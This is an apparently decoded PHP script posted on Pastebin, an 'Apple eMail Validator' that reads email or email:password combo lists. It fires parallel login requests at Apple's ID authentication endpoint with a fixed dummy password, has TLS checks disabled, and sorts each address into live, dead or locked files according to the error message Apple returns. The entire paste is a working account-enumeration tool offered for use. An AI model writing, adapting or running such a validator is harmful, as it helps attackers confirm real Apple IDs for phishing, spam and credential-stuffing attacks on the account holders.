Advertisement
ardann

Anjay decoded

Jun 30th, 2019
2,328
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 6.58 KB | None | 0 0
  1. <?php
  2.  
  3. /**
  4.  * PLEASE DON'T CHANGE THIS
  5.  * Author: Faiz Ainurrofiq (https://paisx.net/)
  6.  * Link: https://github.com/paisx/
  7.  */
  8.  
  9. ini_set("memory_limit", '-1');
  10. date_default_timezone_set("Asia/Jakarta");
  11. define("OS", strtolower(PHP_OS));
  12.  
  13. require_once "RollingCurl/RollingCurl.php";
  14. require_once "RollingCurl/Request.php";
  15.  
  16. echo banner();
  17. enterlist:
  18. $listname = readline(" Enter list: ");
  19. if(empty($listname) || !file_exists($listname)) {
  20.     echo" [?] list not found".PHP_EOL;
  21.     goto enterlist;
  22. }
  23. $lists = array_unique(explode("\n", str_replace("\r", "", file_get_contents($listname))));
  24. $savedir = readline(" Save to dir (default: valid): ");
  25. $dir = empty($savedir) ? "valid" : $savedir;
  26. if(!is_dir($dir)) mkdir($dir);
  27. chdir($dir);
  28. reqemail:
  29. $reqemail = readline(" Request email per second (example: 10 max *50)? ");
  30. $reqemail = (empty($reqemail) || !is_numeric($reqemail) || $reqemail <= 0) ? 3 : $reqemail;
  31. if($reqemail > 50) {
  32.     echo " [*] max 50".PHP_EOL;
  33.     goto reqemail;
  34. }
  35. $delpercheck = readline(" Delete list per check? (y/n): ");
  36. $delpercheck = strtolower($delpercheck) == "y" ? true : false;
  37.  
  38. $no = 0;
  39. $total = count($lists);
  40. $live = 0;
  41. $dead = 0;
  42. $locked = 0;
  43. $unknown = 0;
  44. $c = 0;
  45.  
  46. echo PHP_EOL;
  47. $listua = array("1611368ddcc263b848c0be56bd09ac4cf96c68fd1c2d6dcad758413677455132");
  48. $ua = $listua[rand(0,count($listua)-1)];
  49. $rollingCurl = new \RollingCurl\RollingCurl();
  50. foreach($lists as $list) {
  51.     $c++;
  52.     if(strpos($list, "|") !== false) list($email, $pwd) = explode("|", $list);
  53.     else if(strpos($list, ":") !== false) list($email, $pwd) = explode(":", $list);
  54.     else $email = $list;
  55.     if(empty($email)) continue;
  56.     $email = str_replace(" ", "", $email);
  57.     $data = 'appleId='.$email.'&accountPassword=Jancok123444&appIdKey='.$ua.'&accNameLocked=false&language=US-EN&baseURL=https%3A%2F%2Fmypage.apple.com%2F&requestUri=%2Flogin&Env=PROD&referer=http%3A%2F%2Fmypage.apple.com%2F';
  58.     $header = array("Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","Accept-Encoding: gzip, deflate, br","Accept-Language: en-US,en;q=0.9","Cache-Control: max-age=0","Connection: keep-alive","Content-Length: ".strlen($data)."","Content-Type: application/x-www-form-urlencoded","Host: idmsac.apple.com","Origin: https://idmsac.apple.com","Referer: https://idmsac.apple.com/IDMSWebAuth/login?appIdKey=".$ua."","Upgrade-Insecure-Requests: 1");
  59.     $rollingCurl->setOptions(array(CURLOPT_RETURNTRANSFER => 1, CURLOPT_ENCODING => "gzip", CURLOPT_COOKIEJAR => dirname(__FILE__)."/../appleval.cook", CURLOPT_COOKIEFILE => dirname(__FILE__)."/../appleval.cook", CURLOPT_SSL_VERIFYPEER => 0, CURLOPT_SSL_VERIFYHOST => 0, CURLOPT_IPRESOLVE => CURL_IPRESOLVE_V4))->post("https://idmsac.apple.com/IDMSWebAuth/authenticate?email=".$email."&list=".$list, $data, $header);
  60. }
  61. $rollingCurl->setCallback(function(\RollingCurl\Request $request, \RollingCurl\RollingCurl $rollingCurl) use (&$results) {
  62.     global $listname, $dir, $delpercheck, $no, $total, $live, $dead, $locked, $unknown;
  63.     $no++;
  64.     parse_str(parse_url($request->getUrl(), PHP_URL_QUERY), $params);
  65.     $email = $params["email"];
  66.     $list = $params["list"];
  67.     $x = $request->getResponseText();
  68.     $deletelist = 1;
  69.     echo " [".date("H:i:s")." ".$no."/".$total." from ".$listname." to ".$dir."] [ iNoob ] ";
  70.     if(preg_match("#Application has insufficient privileges to perform this action#", $x)) {
  71.         $live++;
  72.         file_put_contents("live.txt", $email.PHP_EOL, FILE_APPEND);
  73.         echo color()["LG"]."LIVE".color()["WH"]." => ".$email;
  74.     }else if(preg_match("#Your Apple ID or password was entered incorrectly#", $x)) {
  75.         $dead++;
  76.         file_put_contents("dead.txt", $email.PHP_EOL, FILE_APPEND);
  77.         echo color()["LR"]."DEAD".color()["WH"]." => ".$email;
  78.     }else if(preg_match("#This Apple ID has been#", $x)) {
  79.         $locked++;
  80.         file_put_contents("locked.txt", $email.PHP_EOL, FILE_APPEND);
  81.         echo color()["LR"]."LOCKED".color()["WH"]." => ".$email;
  82.     }else{
  83.         $unknown++;
  84.         $deletelist = 0;
  85.         echo color()["LW"]."UNKNOWN".color()["WH"]." => ".$email;
  86.     }
  87.    
  88.     echo color()["LW"]." | ".color()["YL"]."Apple ".color()["CY"]."eMail ".color()["LR"]."Validator 4.0 --".color()["WH"];
  89.     if($delpercheck && $deletelist) {
  90.         $getfile = file_get_contents("../".$listname);
  91.         $awal = str_replace("\r", "", $getfile);
  92.         $akhir = str_replace($list."\n", "", $awal);
  93.         file_put_contents("../".$listname, $akhir);
  94.     }
  95.     echo PHP_EOL;
  96. })->setSimultaneousLimit((int) $reqemail)->execute();
  97. if($delpercheck && count(explode("\n", file_get_contents("../".$listname))) <= 1) unlink("../".$listname);
  98. echo PHP_EOL." -- Total: ".$total." - Live: ".$live." - Dead: ".$dead." - Locked: ".$locked." - Unknown: ".$unknown.PHP_EOL." Saved to dir \"".$dir."\"".PHP_EOL;
  99.  
  100. function banner() {
  101.     $out = color()["LW"]."     _____________".color()["MG"]."______________".color()["CY"]."_______________".color()["LM"]."_____________
  102.    |                                                       |
  103.    |           ".color()["LG"]."Apple ".color()["CY"]."eMail ".color()["MG"]."Validator 4.0 --                |
  104.    |  Latest ".color()["LR"]."Update on ".color()["LW"]."Tuesday, ".color()["CY"]."June 04, 2019 at".color()["MG"]." 15:17:21  |
  105.    |      Author: ".color()["LW"]."Faiz Ainurrofiq ".color()["MG"]."(https://paisx.net/)     |
  106.    |_____________".color()["LG"]."______________".color()["CY"]."_______________".color()["MG"]."_____________|".color()["LW"]."
  107.                Made with a cup of ☕ and ❤ --".color()["WH"]."
  108. ".color()["WH"].PHP_EOL.PHP_EOL;
  109.     return $out;
  110. }
  111. function color() {
  112.     return array(
  113.         "LW" => (OS == "linux" ? "\e[1;37m" : ""),
  114.         "WH" => (OS == "linux" ? "\e[0m" : ""),
  115.         "YL" => (OS == "linux" ? "\e[1;33m" : ""),
  116.         "LR" => (OS == "linux" ? "\e[1;31m" : ""),
  117.         "MG" => (OS == "linux" ? "\e[0;35m" : ""),
  118.         "LM" => (OS == "linux" ? "\e[1;35m" : ""),
  119.         "CY" => (OS == "linux" ? "\e[1;36m" : ""),
  120.         "LG" => (OS == "linux" ? "\e[1;32m" : "")
  121.     );
  122. }
  123. function getStr($source, $start, $end) {
  124.     $a = explode($start, $source);
  125.     $b = explode($end, $a[1]);
  126.     return $b[0];
  127. }
  128. function curl($url) {
  129.     $ch = curl_init();
  130.     $cookiefile = dirname(__FILE__)."/../appleval.cook";
  131.     curl_setopt($ch, CURLOPT_URL, $url);
  132.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  133.     curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  134.     curl_setopt($ch, CURLOPT_FRESH_CONNECT , 0);
  135.     curl_setopt($ch, CURLOPT_COOKIESESSION, true);
  136.     curl_setopt($ch, CURLOPT_COOKIEFILE, $cookiefile);
  137.     curl_setopt($ch, CURLOPT_COOKIEJAR, $cookiefile);
  138.     curl_setopt($ch, CURLOPT_FRESH_CONNECT , 1);
  139.     $x = curl_exec($ch);
  140.     curl_close($ch);
  141.     return $x;
  142. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement